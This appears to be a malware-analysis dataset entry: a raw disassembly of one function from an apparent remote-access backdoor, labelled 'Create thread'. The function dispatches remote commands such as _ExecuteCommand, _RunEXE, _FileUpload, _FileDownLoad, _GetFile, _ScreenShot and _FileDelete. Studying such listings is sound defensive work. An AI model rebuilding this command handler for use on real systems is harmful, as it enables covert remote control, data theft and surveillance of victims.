Function at 0x402580
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41bc4e
mov eax, dword fs:[0]
push eax
sub esp, 0xa0
mov eax, dword [0x422690]
xor eax, esp
mov dword [esp + 0x98], eax
push ebx
push esi
push edi
mov eax, dword [0x422690]
xor eax, esp
push eax
lea eax, [esp + 0xb0]
mov dword fs:[0], eax
mov edi, ecx
xor ebx, ebx
push 2
mov esi, 0xf
push 0x41f518
lea ecx, [esp + 0x5c]
mov dword [esp + 0x2c], edi
mov dword [esp + 0x70], esi
mov dword [esp + 0x6c], ebx
mov byte [esp + 0x5c], bl
call fcn.00403f40
mov dword [esp + 0xb8], ebx
mov eax, edi
mov dword [esp + 0x4c], esi
mov dword [esp + 0x48], ebx
mov byte [esp + 0x38], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402601
sub eax, edx
push eax
mov eax, dword [esp + 0x28]
push eax
lea ecx, [esp + 0x40]
call fcn.00403f40
lea ecx, [esp + 0x54]
push ecx
lea edx, [esp + 0x3c]
lea ecx, [esp + 0x18]
mov byte [esp + 0xbc], 1
call fcn.00401890
add esp, 4
mov edi, 0x10
cmp dword [esp + 0x4c], edi
jb 0x40264e
mov edx, dword [esp + 0x38]
push edx
call fcn.00406c00
add esp, 4
mov dword [esp + 0x4c], esi
mov dword [esp + 0x48], ebx
mov byte [esp + 0x38], bl
mov byte [esp + 0xb8], 4
cmp dword [esp + 0x68], edi
jb 0x402675
mov eax, dword [esp + 0x54]
push eax
call fcn.00406c00
add esp, 4
mov eax, dword [esp + 0x14]
mov dword [esp + 0x68], esi
mov dword [esp + 0x64], ebx
mov byte [esp + 0x54], bl
cmp dword [eax + 0x14], edi
jb 0x40268c
mov eax, dword [eax]
push eax
call fcn.0041b287
add esp, 4
mov ecx, str._ActiveDos
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4026c0
cmp dl, bl
je 0x4026bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4026c0
add eax, 2
add ecx, 2
cmp dl, bl
jne 0x4026a0
xor eax, eax
jmp 0x4026c5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x4026e5
push 0x41f528
push 0x4238d0
call fcn.004045f0
add esp, 8
call fcn.00401c80
jmp 0x402c06
mov eax, dword [esp + 0x14]
cmp dword [eax + 0x14], edi
jb 0x4026f0
mov eax, dword [eax]
push eax
call fcn.0041b287
add esp, 4
mov ecx, str._ExecuteCommand
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402720
cmp dl, bl
je 0x40271c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402720
add eax, 2
add ecx, 2
cmp dl, bl
jne 0x402700
xor eax, eax
jmp 0x402725
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x402781
push 0x41f55c
push 0x4238d0
call fcn.004045f0
mov eax, dword [esp + 0x1c]
add eax, 0x1c
add esp, 8
cmp dword [eax + 0x14], edi
jb 0x402749
mov eax, dword [eax]
push eax
call fcn.0041b287
add esp, 4
push ebx
push ebx
push eax
push 0x401d30
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
cmp esi, ebx
je 0x402c06
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402c06
mov eax, dword [esp + 0x14]
cmp dword [eax + 0x14], edi
jb 0x40278c
mov eax, dword [eax]
push eax
call fcn.0041b287
add esp, 4
mov ecx, str._Get_LocalDisk
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4027c0
cmp dl, bl
je 0x4027bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4027c0
add eax, 2
add ecx, 2
cmp dl, bl
jne 0x4027a0
xor eax, eax
jmp 0x4027c5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x4027e5
push 0x41f598
push 0x4238d0
call fcn.004045f0
add esp, 8
call fcn.00401e20
jmp 0x402c06
mov eax, dword [esp + 0x14]
cmp dword [eax + 0x14], edi
jb 0x4027f0
mov eax, dword [eax]
push eax
call fcn.0041b287
add esp, 4
mov ecx, str._GetFolder
mov edi, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402820
cmp dl, bl
je 0x40281c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402820
add eax, 2
add ecx, 2
cmp dl, bl
jne 0x402800
xor eax, eax
jmp 0x402825
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x40285d
push 0x41f5cc
push 0x4238d0
call fcn.004045f0
mov eax, dword [esp + 0x1c]
add eax, 0x1c
add esp, 8
cmp dword [eax + 0x14], edi
jb 0x402849
mov eax, dword [eax]
push eax
call fcn.0041b287
add esp, 4
push eax
call fcn.004020c0
jmp 0x402c03
mov eax, dword [esp + 0x14]
cmp dword [eax + 0x14], edi
jb 0x402868
mov eax, dword [eax]
push eax
call fcn.0041b287
add esp, 4
mov ecx, str._GetFile
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402896
cmp dl, bl
je 0x402892
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402896
add eax, 2
add ecx, 2
cmp dl, bl
jne 0x402876
xor eax, eax
jmp 0x40289b
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x4028d4
push 0x41f5fc
push 0x4238d0
call fcn.004045f0
mov eax, dword [esp + 0x1c]
add eax, 0x1c
add esp, 8
cmp dword [eax + 0x14], edi
jb 0x4028bf
mov eax, dword [eax]
push eax
call fcn.0041b287
add esp, 4
mov ecx, eax
call fcn.00402300
jmp 0x402c06
mov eax, dword [esp + 0x14]
cmp dword [eax + 0x14], edi
jb 0x4028df
mov eax, dword [eax]
push eax
call fcn.0041b287
add esp, 4
mov ecx, str._GetProcess
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402910
cmp dl, bl
je 0x40290c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402910
add eax, 2
add ecx, 2
cmp dl, bl
jne 0x4028f0
xor eax, eax
jmp 0x402915
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x402923
push 0x41f62c
jmp 0x402bfe
mov eax, dword [esp + 0x14]
mov esi, str._RunEXE
call fcn.00401b90
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x402951
cmp cl, bl
je 0x40294d
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x402951
add eax, 2
add esi, 2
cmp cl, bl
jne 0x402931
xor eax, eax
jmp 0x402956
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x402964
push 0x41f650
jmp 0x402bfe
mov eax, dword [esp + 0x14]
mov esi, str._FileUpload
call fcn.00401b90
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x402992
cmp cl, bl
je 0x40298e
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x402992
add eax, 2
add esi, 2
cmp cl, bl
jne 0x402972
xor eax, eax
jmp 0x402997
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x4029a5
push 0x41f674
jmp 0x402bfe
mov eax, dword [esp + 0x14]
mov esi, str._FileDownLoad
call fcn.00401b90
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x4029d3
cmp cl, bl
je 0x4029cf
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x4029d3
add eax, 2
add esi, 2
cmp cl, bl
jne 0x4029b3
xor eax, eax
jmp 0x4029d8
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x4029e6
push 0x41f6a0
jmp 0x402bfe
mov eax, dword [esp + 0x14]
mov esi, str._BigFileDownLoad
call fcn.00401b90
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x402a14
cmp cl, bl
je 0x402a10
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x402a14
add eax, 2
add esi, 2
cmp cl, bl
jne 0x4029f4
xor eax, eax
jmp 0x402a19
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x402a27
push 0x41f6d0
jmp 0x402bfe
mov eax, dword [esp + 0x14]
mov esi, str._BigFileDownLoad_FLAG
call fcn.00401b90
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x402a55
cmp cl, bl
je 0x402a51
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x402a55
add eax, 2
add esi, 2
cmp cl, bl
jne 0x402a35
xor eax, eax
jmp 0x402a5a
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x402a68
push 0x41f708
jmp 0x402bfe
mov eax, dword [esp + 0x14]
mov esi, str._FileDelete
call fcn.00401b90
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x402a96
cmp cl, bl
je 0x402a92
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x402a96
add eax, 2
add esi, 2
cmp cl, bl
jne 0x402a76
xor eax, eax
jmp 0x402a9b
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x402aa9
push 0x41f738
jmp 0x402bfe
mov eax, dword [esp + 0x14]
mov esi, str._ScreenShot
call fcn.00401b90
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x402ad7
cmp cl, bl
je 0x402ad3
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x402ad7
add eax, 2
add esi, 2
cmp cl, bl
jne 0x402ab7
xor eax, eax
jmp 0x402adc
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x402aea
push 0x41f760
jmp 0x402bfe
mov eax, dword [esp + 0x14]
mov esi, str._OffLine
call fcn.00401b90
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x402b18
cmp cl, bl
je 0x402b14
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x402b18
add eax, 2
add esi, 2
cmp cl, bl
jne 0x402af8
xor eax, eax
jmp 0x402b1d
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x402be7
push 0x41f788
call fcn.00407516
add esp, 4
push 0x41f518
lea ecx, [esp + 0x90]
call fcn.00403560
mov ecx, dword [esp + 0x24]
push ecx
lea ecx, [esp + 0x74]
mov byte [esp + 0xbc], 5
call fcn.00403560
lea edx, [esp + 0x8c]
push edx
lea edx, [esp + 0x74]
lea ecx, [esp + 0x2c]
mov byte [esp + 0xbc], 6
call fcn.00401890
add esp, 4
lea ecx, [esp + 0x70]
call fcn.00403610
lea ecx, [esp + 0x8c]
call fcn.00403610
mov eax, dword [esp + 0x28]
mov esi, str._OffLine
call fcn.00401b90
lea esp, [esp]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x402bc0
cmp cl, bl
je 0x402bbc
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x402bc0
add eax, 2
add esi, 2
cmp cl, bl
jne 0x402ba0
xor eax, eax
jmp 0x402bc5
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x402bdc
push 0x41f7a0
call fcn.00407516
add esp, 4
push ebx
call fcn.00408ab8
lea ebx, [esp + 0x28]
call fcn.00403b70
jmp 0x402c06
push 0x41f7b8
call fcn.00407516
mov eax, dword [esp + 0x18]
add esp, 4
call fcn.00401b90
push eax
call fcn.00407516
add esp, 4
lea ebx, [esp + 0x14]
call fcn.00403b70
mov ecx, dword [esp + 0xb0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x98]
xor ecx, esp
call fcn.00406a41
mov esp, ebp
pop ebp
ret